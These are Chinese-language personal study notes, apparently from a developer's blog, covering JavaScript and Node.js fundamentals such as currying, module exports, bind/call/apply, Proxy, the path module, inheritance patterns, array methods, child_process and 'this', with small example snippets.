console.log(obj.service); // service

js 扩展 -- currying 柯里函数

更多信息参见 JavaScript 专题之函数柯里化

这里只是把其中的 currying 封装的方法贴出来,跑下看下。

// https://github.com/mqyqingfeng/Blog/issues/42#issuecomment-323919896
var curry = fn =>
	(judge = (...args) =>
		args.length === fn.length ? fn(...args) : arg => judge(...args, arg));

可能涉及 es6 看的第一眼无法解读,这里再写的繁琐下

var curry = function(fn) {
	/**
	 * judge
	 * args: 柯里化函数的参数
	 */
	return function judge() {
		var args = [].slice.call(arguments);
		// 柯里化定义的函数参数 == 调用该函数的参数
		if (args.length >= fn.length) {
			return fn(...args);
		} else {
			// 通过 ()() 形式调用 -- 柯里化
			return function() {
				var args2 = [].slice.call(arguments);
				// 拼接成新的参数,递归继续judge
				return judge.apply(null, args.concat(args2));
			};
		}
	};
};

那解决什么场景的问题?

比如:实现不同幅度的相加功能

var sum = function(increment, number) {
	return increment + number;
};
// 虽然都是相同的相加逻辑,可能在函数命名、功能定义上会有不同(当然这里只是硬性举个例子)。
var addOne = sum;
var addTen = sum;

console.log(addOne(1, 5)); //6
console.log(addTen(10, 5)); //15

如果函数柯里化后:

var addOne = curry(sum)(1)(5); //6
var addTen = curry(sum)(10)(5); //15

虽然生搬硬套,不过现实业务也会有类似场景。这里能体会到 curry 带来的好处:

  • 定制化。原有共性的方法,被拆成符合不同场景的业务方法
  • 参数明确。由于 curry 是根据固定参数约定的,所以通过()()形式固化了参数用意(比如第一个是累加数,第二个是被相加数)

node 基础 -- exports和module.exports的区别?


node基础--exports和module.exports的区别?

首先要先了解node的模块机制,其实符合commonJS的规范。

node对js做模块编译时,会对模块做 修改,看了下面的修改,可能也会明白 __dirname 之类的变量为何获取的到之类的问题:

(function(exports,require,module,__filename,__dirname){
    
})

那exports和module.exports又有什么区别?

通常情况下,我们直接exports属性方法是不会有什么问题

// test.js
(function(exports,require,module,__filename,__dirname){
    var obj = {
        name:'aaaa',
        say:function(){
            console.log(this.name);
        }
    }
    exports.instance = obj;
})
// other.js
var test = require('./test.js');
console.log(test);//{ instance: { name: 'aaaa', say: [Function: say] } }

但是重写exports就会出现问题,不合预期效果:

// test.js
var obj = {
    name: 'aaaa',
    say: function () {
        console.log(this.name);
    }
}
exports = obj;
// other.js
var test = require('./test.js');
console.log(test);//{}

为什么

因为exports是属于 形式参数,如果重写了值,就会影响到导出效果。真正导出的是 module.exports,exports其实是module的引用而已。

var obj = {
    name:'aaaa'
}
function doSth(obj){
    obj = {
        nickName:'a'
    }
    return obj;
}
doSth(obj);//{nickName: "a"}
var obj = {
    name:'aaaa'
}
function doSth(obj){
    obj.nickName = 'a';
    return obj;
}
doSth(obj);//{name: "aaaa", nickName: "a"}

js 扩展 -- bind call apply 那些事

无论接触多少 js,call 和 apply 基本都有耳闻,无论是哪个目标都是改变执行作用域。
这里简单说下区别和用法:

如果先看具体用法和例子,请参考 深入浅出妙用 Javascript 中 apply、call、bind

call

接受的是若干个参数的列表

//Function.prototype.call
fn.call(thisArg, arg1, arg2, ...)

apply

接受的是一个包含多个参数的数组

//Function.prototype.apply
fn.call(thisArg, [argsArray]);

bind

和 call ,apply 作用类似,但可以不设置传参,相对方便些。但缺点主要是浏览器的兼容问题。

//Function.prototype.bind
fn.bind(thisArg[, arg1[, arg2[, ...]]])
function User() {
  this.name = "aaaa";
}
function say() {
  console.log(this.name);
}
var test = say.bind(new User());
test(); //aaaa

使用场景

继承

参考:#5 中的 借用构造函数继承

“黑科技”用法

参考:https://eminoda.github.io/2018/11/16/js-hack-skill/ 中的 数组中取最大值

polyfill bind 的例子

因为兼容问题,可能有些框架会有兼容方案,比如 Vue:

function polyfillBind(fn: Function, ctx: Object): Function {
  function boundFn(a) {
    const l = arguments.length;
    return l
      ? l > 1
        ? fn.apply(ctx, arguments)
        : fn.call(ctx, a)
      : fn.call(ctx);
  }

  boundFn._length = fn.length;
  return boundFn;
}

但是有一个疑问,为何 return 中根据参数个数返回不同的处理方式(apply or call)?

答案:因为性能

一个简单测试,可以查看 https://www.measurethat.net/Benchmarks/Show/398/0/direct-call-vs-bind-vs-call-vs-apply

node 基础 -- npm install --save-dev 和 --save 的区别


node基础——npm install --save-dev 和 --save 的区别

在 npm 社区,经常能看到如下命令:

npm install --save-dev webpack
npm install --save vue

那--save-dev 和 --save 有什么区别?

  1. package 中所处的位置不同

    • npm install foo --save-dev (-D 缩写)package 将安装在 devDependencies 中
    • npm install foo --save (-S 缩写)package 将安装在 dependencies 中
    "dependencies": {
        "accepts": "^1.3.5",
        "koa": "^2.6.1",
        "koa-bodyparser": "^4.2.1",
        "koa-compose": "^4.1.0",
        "koa-router": "^7.4.0"
    },
    "devDependencies": {
        "supervisor": "^0.12.0",
        "webpack": "^4.23.1",
        "webpack-dev-server": "^3.1.10"
    }
  2. 对于 production 环境,可以选择安装 dependencies 的依赖

    # 不会下载devDependencies的package
    npm install --production
    

js ES6 -- proxy

proxy

参考:http://es6.ruanyifeng.com/#docs/proxy

Proxy 用于定义基本操作的自定义行为(如属性查找,赋值,枚举,函数调用等),代理模式。可能你需要区分 装饰器模式。

语法

  • target 代理源对象
  • handler 具体代理的行为模式
let proxy = new Proxy(target, handler);

示例:

var handler = {
  get: function(target, name) {
    console.log("get called");
    return target[name] || "not defined";
  }
};
var target = { name: "aaaa" };
var proxy = new Proxy(target, handler);

console.log(proxy.name); //aaaa
console.log(proxy.age); //not defined

API:取消代理

var proxy2 = Proxy.revocable(target, handler);
console.log(proxy2.age); //undefined

proxy 支持代理的属性方法

贴出常见,其他由于兼容性,并不是全环境有效

var handler = {
  get: function(target, name) {
    return target[name] || "not defined";
  },
  set: function(target, name, value) {
    target[name] = `proxy:${value}`;
  },
  has: function(target, name) {
    return name in target;
  },
  deleteProperty: function(target, name) {
    return !(name in target) ? false : delete target[name];
  }
};
var target = {
  name: "aaaa",
  nick: "abc"
};
var proxy = new Proxy(target, handler);
// get
console.log(`get:name:` + proxy.name); //aaaa
console.log(`get:age:` + proxy.age); //not defined
// set
proxy.age = 10;
console.log(`set:age:` + proxy.age); //proxy:10
// has
console.log("has:testHas:");
console.log("testHas" in proxy); // false
console.log("has:age:");
console.log("name" in proxy); // true
// deleteProperty
console.log("deleteProperty:age:" + delete proxy.age); //true
console.log("deleteProperty:age:" + delete proxy.age2); //false

node 基础 -- path


node 基础 -- path

Path

又是个基础模块,不过也有让人晕乎的概念:

  • path.resolve 和 path.relative 有什么区别?
  • path.posix 是什么?

这次就搞个明白 😏

path.resolve 和 path.relative 有什么区别?

resolve 输出绝对路径;relative 输出相对路径,relative 解析前会对内部路径参数进行一次 resolve,再对比输出相对路径。

path.resolve([...paths])

根据绝对和相对路径解析多个 path,返回一个解析好的 绝对路径

// 有公共路径,公共路径+后者路径
path.resolve('/test/foo/boo', '/test/a.js'); // e:\test\a.js
// 没有公共路径,且都为绝对路径,以后者路径为准
path.resolve('/other/foo', '/test/a.js'); // e:\test\a.js
// 后者为相对路径,则基于前者路径 + 后者路径
path.resolve(__dirname, 'test/a.js');
// e:\my_work\github\myBlog\read_note\node\demo\path\test\a.js

path.relative(from, to)

返回相对于 from 路径的路径 to,再做相对解析前,先要把 from to 这两个 path 进行一次 path.resolve,再拿两个结果值做相对路径解析。

如果 to 是绝对路径,则结果直接是 to 相对根路径。

path.resolve('/test/foo/boo'); // e:\test\foo\boo
path.resolve('/test/a.js'); // e:\test\a.js
// 在公共路径 /test 基础上,to 需要 from 往上两级(\foo\boo)才能解析到 a.js
path.relative('/test/foo/boo', '/test/a.js'); // ..\..\a.js
path.resolve('/other/foo/boo'); // e:\other\foo
path.resolve('/test/a.js'); // e:\test\a.js
// 没有公共路径。直接 to 返回到绝对路径处解析
path.relative('/other/foo', '/test/a.js'); // ..\..\test\a.js
// to 包含 from 的公共路径,直接输出 to 的路径
path.relative(__dirname, 'test/a.js'); // test\a.js

文件操作常用 api

path.basename(path[, ext])

返回路径下的文件名,可以撇除后缀

console.log(path.basename('/test/foo', '.js')); // foo
console.log(path.basename('/test/foo.html', '.html')); // foo

path.dirname(path)

截取目录(路径)

path.dirname('/foo/bar/baz/asdf/quux');
// Returns: '/foo/bar/baz/asdf'

path.extname(path)

获取后缀

path.extname('index.html');
// Returns: '.html'

path.extname('index.');
// Returns: '.'

path.extname('.index.coffee.md');
// Returns: '.md'

path.join([...paths])

类似数组的 join 方法,会把路径参数拼接起来,并且解析相对路径标识(./ , ../)

path.join('/foo', 'bar', 'baz/asdf', 'quux', '..');
// \foo\bar\baz\asdf

path.join('/foo', 'bar', 'baz/asdf', '/quux'); // 注意绝对路径只做拼接之用
// \foo\bar\baz\asdf\quux

path.normalize(path)

当我看到它时,觉得用 webpack 等构建工具搭项目脚手架时会有用,因为团队成员电脑系统可能会有 mac 的。

用来处理不同系统的 路径分隔符(sequential path segment separation),管你是什么斜杠,管你路径里有什么相对路径,拿来就是一顿统一式的解析 🎉

path.normalize('C:////temp\\\\/\\/\\/foo/..\\bar/test/hello.js')
C:\temp\bar\test\hello.js

path.parse(path)

分析一个路径,输出它的 目录,根路径,当前 base 的名称和后缀

path.parse('/foo/bar/test.js');
// { root: '/',
//   dir: '/foo/bar',
//   base: 'test.js',
//   ext: '.js',
//   name: 'test' }
path.parse('C:\\foo\\bar\\test.js');
// { root: 'C:\\',
//   dir: 'C:\\foo\\bar',
//   base: 'test.js',
//   ext: '.js',
//   name: 'test' }

这个图就很形象:

┌─────────────────────┬────────────┐
│          dir        │    base    │
├──────┬              ├──────┬─────┤
│ root │              │ name │ ext │
" C:\      path\dir   \ file  .txt "
└──────┴──────────────┴──────┴─────┘

path.isAbsolute(path)

判断绝对路径

path.isAbsolute('/foo/bar'); // true
path.isAbsolute('qux/'); // false
path.isAbsolute('C:\\foo\\..'); // true
path.isAbsolute('.'); // false

POSIX 是什么?和 win32 有什么区别?

POSIX

POSIX 表示可移植操作系统接口(Portable Operating System Interface of UNIX,缩写为 POSIX )

简单的可以认为是 UNIX 系统提供的接口方法。

path 提供 posix 系列接口的封装,只要在普通 api 前加上 posix 即可。区别如下:

特别说明我是在 windows 系统下

path.posix.resolve('/test/foo'); // /test/foo
path.resolve('/test/foo'); // e:\test\foo 在 windows 中就会有盘符的出现

win32

win32 是专门给 windows 用的

path.win32.resolve('/test/foo'); // e:\test\foo

说到这里,如果你有兴趣,可以看下这个 bug 的原因:vue 编译 Error: Could not load /src/core/config

分隔符

path.delimiter

windows 为 ;, POSIX 为 :

POSIX

// 获取系统变量
console.log(process.env.PATH);
// Prints: '/usr/bin:/bin:/usr/sbin:/sbin:/usr/local/bin'

process.env.PATH.split(path.delimiter);
// Returns: ['/usr/bin', '/bin', '/usr/sbin', '/sbin', '/usr/local/bin']

windows

console.log(process.env.PATH);
// Prints: 'C:\Windows\system32;C:\Windows;C:\Program Files\node\'

process.env.PATH.split(path.delimiter);
// Returns ['C:\\Windows\\system32', 'C:\\Windows', 'C:\\Program Files\\node\\']

path.sep

windows 为 \, POSIX 为 /

POSIX

'foo/bar/baz'.split(path.sep);
// Returns: ['foo', 'bar', 'baz']

windows

'foo\\bar\\baz'.split(path.sep);
// Returns: ['foo', 'bar', 'baz']

参考

我只是知识点的“加工者”,更多内容请查阅原文链接 💭 ,同时感谢原作者的付出:

前言

前言

入前端这个坑3年了,现在依旧感觉自己和刚入行时的自己没啥区别,脑子晕乎乎的。3年很要命,这段时间能让一个应届生经历职位、技术迅猛发展的阶段,然后再过个2年就会经历外面一直流传的30岁职业危机

可能不太合群,居然结了婚生了孩子,再过3月小孩都要满一周岁了:grimacing:。在同一家小公司待到现在,就像马云爸爸说的那样,上年初已经萌生程序员都会有的想法,但为了责任坚持到现在,很庆幸大领导给了许多机会又让我成长了些许。虽然如此,但“思危”这感觉一直围绕这我,越来越强。

开始关注自己的工作状况,每天无非是完成需求迭代,但一切都没有从前那么有挑战性。一直在思考未来的路怎么走?随着前端生态的发展,就算使我们小公司也一直在做前端项目的重构,或者是重写。从angularjs换到vue,从express换到koa,也尝试了electron完了把angular2,gulp、webpack...,很兴奋技术变化之快,起码在项目上我是受益者,但害怕在其中迷失自我。就算node从4.4换到了8x,但我还是没有用过几个特性API,就算angular升级到现在的6,哪怕vue、react再怎么火热,我还没深入了解过其中。

所以就像把我带入门的组长说的(虽然第一年就丢下我一人跑路了:sweat_smile:),他面试时技能条就写了熟悉 js、html、css。那时我还不理解以为是玩笑话,其实这些五花八门的技术祖宗还是javascript,那些前端看来新颖的设计模式,后端玩到现在,或许只是我这类每天埋没于业务功能实现的同学没发现而已(不引战,可能说的有歧义,但你懂我大概意思吧)

我只想说:回过头再看下javascript的原貌,重新积累扎实的基础,不积跬步无以至千里,不是吗?

后续会围绕以下两个方向做技术学习积累,持续更新:

  • js
  • nodejs

争取不会拖更,同时也希望能帮助到有缘来此的前端开发同学(支持的话请随手:star2:),欢迎issues交流讨论

读书笔记,参考图书:

  • 《JavaScript高级程序设计》--(美)(Nicholas C.Zakas)扎卡斯
  • 《深入浅出Node.js》--朴灵

js 基础 -- 面向对象 4.几种继承方式


js基础--面向对象 4.几种继承方式

继承

对于面向对象语言,继承是个很重要的特性。js 由于他的语言特性只能通过原型链来完成继承。

时间久了,又都忘记了,再次加强印象和理解。

原型链继承

首先可以看下之前的 js 基础--面向对象 3.原型那些事 了解原型链

示例

function Parent() {
	this.name = 'parent';
}
Parent.prototype.pName = 'parent';
Parent.prototype.age = 2;
Parent.prototype.say = function() {
	console.log(this.name + ' is called');
};

function Child() {
	this.name = 'child';
}
Child.prototype = new Parent();
Child.prototype.age = 1;
Child.prototype.littleSay = function() {
	console.log(this.name + ' is called');
};

var instance = new Child();
console.log(instance.name); // child
console.log(instance.pName); // parent
instance.say(); // child is called
instance.littleSay(); // child is called

根据上例,能看到 原型继承 的特点:

  • Child 有的属性直接获取,如果没有向 Child 原型对象寻找
  • 再没有,则像 Parent 属性,和 Parent 原型对象寻找
  • 虽然是继承 Parent 实例,但是内部的引用 this 是指向 Child 的(我之前一直错误以为是 Parent,特别指明下)

原理

Child.prototype = new Parent();

上面这句其实就是原型继承的实现的核心:重写 Child 原型对象 Child.prototype 的引用(原来 constructor 指向 Child 构造函数),现在指向 Parent,这样 Child 实例就能拿到 Parent 实例属性和原型对象的属性了。

再看下 instance 控制台的打印核实下:

inherit

缺点

虽然每次会新创建父类实例,但还是共享了 Parent 的原型对象。

不能友好的支持传参给父类

function Parent() {}
Parent.prototype.books = ['red', 'green'];

function Child() {}
Child.prototype = new Parent();

var instance1 = new Child();
instance1.books.push('yellow');

var instance2 = new Child();
console.log(instance2.books); // ["red", "green", "yellow"]

借用构造函数继承

使用 call、apply 在创建 Child 实例的时候借用 Parent 构造函数,这样每次新的 Child 实例都有一份新的 Parent 属性;同时因为是借用,只是改变了执行环境,Child 实例 proto 原型链还是指向 Child 构造函数,从而避免了原型共享的污染问题。

示例

function Parent() {
	this.books = ['red', 'green'];
}
Parent.prototype.pbooks = ['pred', 'pgreen'];

function Child() {
	Parent.call(this);
}

var instance1 = new Child();
instance1.books.push('yellow');
instance1.pbooks; // undefined

var instance2 = new Child();
console.log(instance2.books); // ["red", "green"]

inherit

优点

利用 call、apply api 传参的特性,可以像 Parent 传参。

function Child(...args) {
	Parent.call(this, ...args);
}

缺点

虽然解决了 原型继承 属性共享问题,但也就没法共享访问 Parent 定义的方法了。

组合继承

原型链继承+借用构造函数继承,取长补短。

示例

function Parent() {
	console.log('parent is called'); // 输出两次
	this.name = 'parent';
}
Parent.prototype.pbooks = ['red', 'green'];
Parent.prototype.say = function() {
	console.log('parent say()');
};

function Child() {
	Parent.call(this); // 第二次
	this.name = 'child';
}
Child.prototype = new Parent(); // 第一次

var instance1 = new Child();
instance1.pbooks.push('yellow');

instance1.say(); // parent say()

var instance2 = new Child();
console.log(instance2.pbooks); // ["red", "green", "yellow"]

缺点

但也有其不足之处,调用 2 次父类的构造函数

在原型属性重写时,定义 Parent 属性副本;Child 借用构造时,又会创建次,总共 2 分属性副本。

同时原型共享的问题依旧存在,但可以通过 Parent.prototype 有意识定义方法,而非引用类型的数据。(这点意识很重要,我本以为这些继承实现会解决这问题,而然是错的。)

原型式继承

道格拉夫·克罗克

在函数方法内部创建全新的构造方法,将需要继承对象赋值于原型。

示例

function object(o) {
	// 相当于child
	function F() {}
	F.prototype = o; // 浅复制
	return new F();
}
function Parent() {
	this.name = 'parent';
}
Parent.prototype.pbooks = ['red', 'green'];
var instance1 = object(new Parent());
instance1.pbooks.push('yellow');

var instance2 = object(new Parent());
instance2.pbooks; // ["red", "green", "yellow"]

inherit

值得注意 ES5 的 Object.create() 规范了原型式继承

寄生组合式继承

示例

function Parent() {
	this.books = ['red', 'green'];
}
Parent.prototype.pbooks = ['red', 'green'];

function Child(name) {
	//借用构造函数继承
	Parent.call(this);
}
function inherits(Child, Parent) {
	// 没有像组合继承那样 new Parent,而是通过原型对象来创建一个新的原型对象
	var prototype = Object.create(Parent.prototype);
	// 重新设定引用,Child而非Parent或其他
	prototype.contructor = Child;
	Child.prototype = prototype;
}
// 对于不支持Object.create的浏览器,还是用组合继承。参考:https://github.com/isaacs/inherits/blob/master/read_note/inherits_browser.js
inherits(Child, Parent);
var instance = new Child();
console.log(instance);
instance.books.push('yellow');
instance.pbooks.push('yellow');

var instance2 = new Child();
console.log(instance2.books); // ["red", "green"]
console.log(instance2.pbooks); // ["red", "green", "yellow"]

inherit

特点

  • 保留了原型链的整个链式引用
  • 不像 组合继承 二次创建 Parent 对象的创建,避免额外属性的创建
  • 缺点:注意原型共享问题还是存在

over

js 基础 -- 数组 常用方法


js基础--数组 常用方法

splice

对数组做删除,添加元素操作

arrayObject.splice(index,howmany,item1,.....,itemX)
  • index 索引,从 0 开始(删除:index 包含当前开始,添加:index 后开始)
  • howmany 设置 0 不会删除元素;(>=0 为合法参数)
// splice
var arr = [2, 3, 4, 1];
// 删除
console.log(arr.splice(2, 1)); //[4]
console.log(arr); //[ 2, 3, 1 ]
console.log(arr.splice(2, 2)); //[1]
console.log(arr); //[ 2, 3 ]
// 非法
console.log(arr.splice(2, "sf")); //[]
console.log(arr); //[ 2, 3 ]
// 非法
console.log(arr.splice(2, -1)); //[]
console.log(arr); //[ 2, 3 ]

// 添加
arr = [2, 3, 4, 1];
arr.splice(1, 0, "a", "b");
console.log(arr); //[ 2, 'a', 'b', 3, 4, 1 ]

// vue 移除元素
function remove(arr, item) {
  if (arr.length) {
    var index = arr.indexOf(item);
    if (index > -1) {
      return arr.splice(index, 1);
    }
  }
}
console.log(remove(arr, "a")); //[ 'a' ]
console.log(arr); //[ 2, 'b', 3, 4, 1 ]

slice

根据设置的开始和结束索引,返回一个新数组对象。原数组不变

arrayObject.slice([begin], [end]);
  • begin 默认 0 开始
  • end 结束索引,如果为负数,则倒序获取。超出 length,则返回 length
var arr = [2, 3, 4, 9, 6, 7];
// 从索引2开始
console.log(arr.slice(2)); //[ 4, 9, 6, 7 ];
// 原数组不变
console.log(arr); //[ 2, 3, 4, 9, 6, 7 ]

// 结束索引为负数,倒序获取
console.log(arr.slice(1, -3)); //[ 3, 4 ]
console.log(arr.slice(3, -3)); //[]

var objArr = [
  {
    name: "aaa"
  },
  {
    name: "bbb"
  }
];

浅拷贝

var newObjArr = objArr.slice(); //copy
newObjArr[1].name = "ccc";

console.log(objArr); //[ { name: 'aaa' }, { name: 'ccc' } ]
```

pop & push

pop 从数组中删除最后一个元素,并返回该元素的值。此方法更改数组的长度。

push 和 pop 相反,添加元素

对应就是队列的出栈和进栈操作。

var popArr = [1, 2, 3, 4, 5, 6];
//数组 popArr 最后位元素被移除,数组长度 -1
popArr.pop();
console.log(popArr); //[ 1, 2, 3, 4, 5 ]
popArr.push(7);
console.log(popArr); //[ 1, 2, 3, 4, 5, 7 ]

map&filter

这两者其实不像进出栈那么有关系,但是这里说一个小场景一起解释这两者的使用。先看下基本概念:

map

创建一个新数组,其结果是该数组中的每个元素都调用一个提供的函数后返回的结果

var new_array = arr.map(function callback(currentValue[, index[, array]]) {
 // Return element for new_array }[,
thisArg])
var newArr = [1, 2, 3].map(function(element) {
	return element * 2;
});
// [2, 4, 6]

filter

接受一个 callback 自定义函数,数组每个元素都会执行该函数,根据执行结果重新生成新的函数(相当于过滤功能)

var new_array = arr.filter(callback(element[, index[, array]])[, thisArg])
var newArr = [12, 5, 2, 20].filter(function(element) {
	return element > 10;
});
// [12, 20]

备注至少 IE9 才能使用

在 vue 一个运用 Example,这样就知道具体怎么回事了。

function pluckModuleFunction<F: Function>(modules: ?Array<Object>, key: string): Array<F> {
	return modules ? modules.map(m => m[key]).filter(_ => _) : [];
}

node 基础 -- child_process


node 基础 -- child_process

child_process

Node.js 是 单线程 (纯 js 实现的部分) 的,不像其他对象语言有多线程机制(比如:java),要解决多线程带来问题(变量共享,锁...),通过异步非阻塞设计模式使得它很高效,适合高并发这样的业务场景。但由于这样的单线程会导致如下几个问题:

  • 未充分利用 cpu 核心
  • 一些程序问题会 crush 掉整个应用

为了解决这样的问题,node 本身提供了 child_processcluster 方式来尽可能提升核心使用和程序的稳定性。例如: master-worker 机制。具体不再展开,这里只为了引出 child_process 这个基础 API。

线程和进程(补充)

只是做个基础知识补充,查看详情

进程

是系统进行资源分配和调度的基本单位,是操作系统结构的基础。进程是程序的实体。

线程

是操作系统能够进行运算调度的最小单位。它被包含在进程之中,是进程中的实际运作单位。一个进程中可以并发多个线程,每条线程并行执行不同的任务。

异步 API

child_process.spawn()

spawn() 按照名称意思——孵化,通过这个 api 可以创建一个子进程,父子进程通过 IPC 进行通信 、管道 pipe 传输。

基于 spawn ,还衍生出不同场景的 api,如:exec,execFile,fork

child_process.spawn(command[, args][, options])

点击查看详细说明

举个简单的例子

node -v :

const { spawn } = require("child_process");

const nodeCommond = spawn("node", ["-v"]);

nodeCommond.stdout.on("data", data => {
  console.log(`stdout: ${data}`); // v8.9.0
});

nodeCommond.on("close", code => {
  console.log(`child process exited with code ${code}`); // child process exited with code 0
});

多命令组合操作

比如通过 ps 查询有多少 pm2 相关进程,等价于:ps ax |grep pm2(需在 Linux 上运行):

const { spawn } = require("child_process");
const ps = spawn("ps", ["ax"]);
const grep = spawn("grep", ["pm2"]);

ps.stdout.on("data", data => {
  grep.stdin.write(data);
});
ps.on("close", code => {
  console.log("ps code", code);
  if (code !== 0) {
    console.log(`ps process exited with code ${code}`);
  }
  grep.stdin.end();
});

grep.stdout.on("data", data => {
  console.log("grep", "print data");
  console.log(data.toString());
});
grep.on("close", code => {
  console.log("grep code", code);
  if (code !== 0) {
    console.log(`grep process exited with code ${code}`);
  }
});

/**
 * ps code 0
 * grep print data
 * 28849 ?        Ssl    5:04 PM2 v3.2.2: God Daemon (/root/.pm2)
 * 28859 ?        Ssl    2:22  \_ node /root/.pm2/modules/pm2-intercom/node_modules/pm2-intercom/i
 * 31891 ?        Ssl    0:52  \_ node /root/.pm2/modules/pm2-logrotate/node_modules/pm2-logrotate
 *
 * grep code 0
 */

options.detached

当被设定为 ture 时,会让子进程独立从父进程中独立出来,它具有自己的运行窗口(在后台,看不见),相当于守护进程。

const { spawn } = require("child_process");
const fs = require("fs");

// process.argv[0]: node program exe
const subProcess = spawn(process.argv[0], ["./script/say.js"], {
  detached: true,
  stdio: ["ignore"]
});

运行后,无法看到 subProcess 的具体情况,parent 进程又被 hold 住。

subProcess.unref();

设置 unref 将使得 父子进程 切断联系,主进程 hold 释放。但还看不出 detached 的作用。

测试守护特性

重设 subProcess.stdout stream 可以看到子进程输出的内容,但设置 detached = false:

const subProcess = spawn(process.argv[0], ["./script/say.js"], {
  detached: false,
  stdio: ["ignore", fs.openSync("./script/out.log", "a"), fs.openSync("./script/out.log", "a")]
});

能看到主进程被 hold 住,out.log 持续输出,但主进程一旦被关闭,则停止输出。

再将 detached = true ,即使主进程关闭,子进程也在持续工作。

options.stdio

stdio 是进程的 标准输入输出 流。

stdio 分 <array> | <string> 类型。数组中的值分别代表 stdin、stdout、stderr。

可以通过字符串来简化数组类型的说明:

  • pipe: ['pipe', 'pipe', 'pipe'] (the default)
  • ignore: ['ignore', 'ignore', 'ignore']
  • inherit: ['inherit', 'inherit', 'inherit'] or [0, 1, 2]

数组类型的值可以是如下字段:

  • pipe:创建父子进程间的通讯通道

    // 这样 childPipe 有了自己的 stdio 管道
    const childProcess = spawn("node", ["-v"], { stdio: "pipe" });
    
    childProcess.stdout.on("data", data => {
      console.log(`stdout: ${data}`); // v8.9.0
    });
    // v8.9.0
  • ipc:创建父子进程间的 ipc 通信机制通道

    const childProcess = spawn("node", ["./script/childSend.js"], {
      stdio: ["pipe", null, "pipe", "ipc"]
    });
    
    childProcess.on("message", data => {
      console.log(`from child`, data);
    });
    
    childProcess.stdout.on("data", data => {
      console.log(`stdout: ${data}`); // v8.9.0
    });
    // stdout: console.log data
    
    // from child hello parent
    // stdout: console.log data
    
    // from child hello parent
    // stdout: console.log data
    setInterval(() => {
      console.log("console.log data");
      process.send("hello parent");
    }, 1000);
  • ignore:忽略

    const childProcess = spawn("node", ["-v"], { stdio: "ignore" });
    
    // 会报错
    // childProcess.stdout.on("data", data => {
    //   console.log(`stdout: ${data}`); // v8.9.0
    // });
  • inherit:子进程的 stdio 执行权交给父进程对应的 stdio

    // child process data 直接打印在 parent process 控台上
    const childProcess = spawn("node", ["-v"], { stdio: "inherit" });
    // v8.9.0
    
    // 会报错
    // childProcess.stdout.on("data", data => {
    //   console.log(`stdout: ${data}`); // v8.9.0
    // });
  • Stream:使用个其他流对象,代替 stdio

  • integer

  • null,undefined:当 fds 0,1,2 位置设置该值,则会使用 pipe 模式;当 fds 3 位置为该值,则会使用 ignore。

child_process.exec(command[, options][, callback])

点击查看详细说明

const { exec } = require("child_process");

const nodeProcess = exec("node -v", (err, stdout, stderr) => {
  console.log(err, stdout, stderr); //null 'v8.9.0\r\n' ''
});

child_process.execFile(file[, args][, options][, callback])

点击查看详细说明

const { execFile } = require("child_process");

// linux
const linuxProcess = execFile("./script/say.sh", { shell: true }, (err, stdout, stderr) => {
  console.log(err, stdout, stderr);
});

// window 这里的 file 不能为路径,需要通过 cwd 来指定
const winProcess = execFile("say.bat", { shell: true, cwd: "./script" }, (err, stdout, stderr) => {
  console.log(err, stdout, stderr);
});

execFile 和 exec 类似,但不会有个 shell 脚本执行器,可以通过 options.shell 来打开(Unix 是 /bin/sh ,Windows 是 process.env.ComSpec)。

child_process.fork(modulePath[, args][, options])

点击查看详细说明

是 spawn 延伸出出来的特殊方法,fork 子进程。父子进程通过 IPC 方式通讯。

// parent
const { fork } = require("child_process");

const child = fork("./script/childSend", {});

child.on("message", data => {
  console.log(data);
});
// child
setInterval(() => {
  process.send("hello parent");
}, 3000);

同步 API

和异步 API 类似,除了具有同步机制。

  • child_process.spawnSync()
  • child_process.execSync()
  • child_process.execFileSync()

ChildProcess

Event

  • message
  • close
  • disconnect
  • error
  • exit
const nodeCommond = spawn("node", ["./script/say.js"], {
  stdio: [null, null, null, "ipc"]
});

nodeCommond.stdout.on("data", data => {
  console.log(`stdout: ${data}`); // v8.9.0
});
nodeCommond.on("close", code => {
  console.log("close");
});
nodeCommond.on("disconnect", code => {
  console.log("disconnect");
});
nodeCommond.on("message", code => {
  console.log("message");
});
nodeCommond.on("error", code => {
  console.log("error");
});
nodeCommond.on("exit", code => {
  console.log("exit");
});
let count = 0;
let timer = setInterval(() => {
  count = count + 1;
  console.log(`${new Date()}`, " say data", `count=${count}`);

  if (count == 1) {
    process.send("message");
  }
  if (count == 5) {
    process.disconnect();
  }
  if (count == 10) {
    precess.kill("SIGHUP");
    // clearInterval(timer);
  }
}, 1000);
stdout: Thu Oct 24 2019 17:31:25 GMT+0800 (**标准时间)  say data count=1

message
stdout: Thu Oct 24 2019 17:31:26 GMT+0800 (**标准时间)  say data count=2

stdout: Thu Oct 24 2019 17:31:27 GMT+0800 (**标准时间)  say data count=3

stdout: Thu Oct 24 2019 17:31:28 GMT+0800 (**标准时间)  say data count=4

stdout: Thu Oct 24 2019 17:31:29 GMT+0800 (**标准时间)  say data count=5

disconnect
stdout: Thu Oct 24 2019 17:31:30 GMT+0800 (**标准时间)  say data count=6

stdout: Thu Oct 24 2019 17:31:31 GMT+0800 (**标准时间)  say data count=7

stdout: Thu Oct 24 2019 17:31:32 GMT+0800 (**标准时间)  say data count=8

stdout: Thu Oct 24 2019 17:31:33 GMT+0800 (**标准时间)  say data count=9

stdout: Thu Oct 24 2019 17:31:34 GMT+0800 (**标准时间)  say data count=10

exit
close

需要注意 disconnect 需要在 IPC 模式下会被触发,同时非 IPC 模式,如果子进程涉及调用 send 方法,会使得子进程停止。

其他 API

具体使用到时,去 官网查询,这里不做赘述。

关于我

如果你觉得这篇文章对你有帮助, 请点个赞或者分享给更多的道友。

也可以扫码关注我的 微信订阅号 - [ 前端雨爸 ], 第一时间收到技术文章 🚀, 工作之余我会持续输出 🔥

微信订阅号-前端雨爸

最后感谢阅读, 你们的支持是我写作的最大动力 🎉

js 基础 -- this

this

你肯定不陌生 this,作为 javascript 里一个普通的关键词,其实际作用却有些特殊,甚至让人摸不着头脑。

这里说明如何判断 this 的引用。

错误的理解

首先举例一些错误的理解

指向自身

function say() {
	console.log(this.foo);
	this.foo++;
	console.log(this.foo);
}
var foo = 1;
say.foo = 0;
for (var i = 0; i < 5; i++) {
	say();
}
console.log(say.foo); //0

在 say 中用 this 指定了 foo 属性,运行 for 循环后却没有达到预期的累加效果。其实 this 指定的是全局范围而非 say 内部。

作用域

function bar() {
	console.log("bar called");
	console.log(this.a); // undefined
}

function foo() {
	var a = 1;
	this.bar();
}

foo();

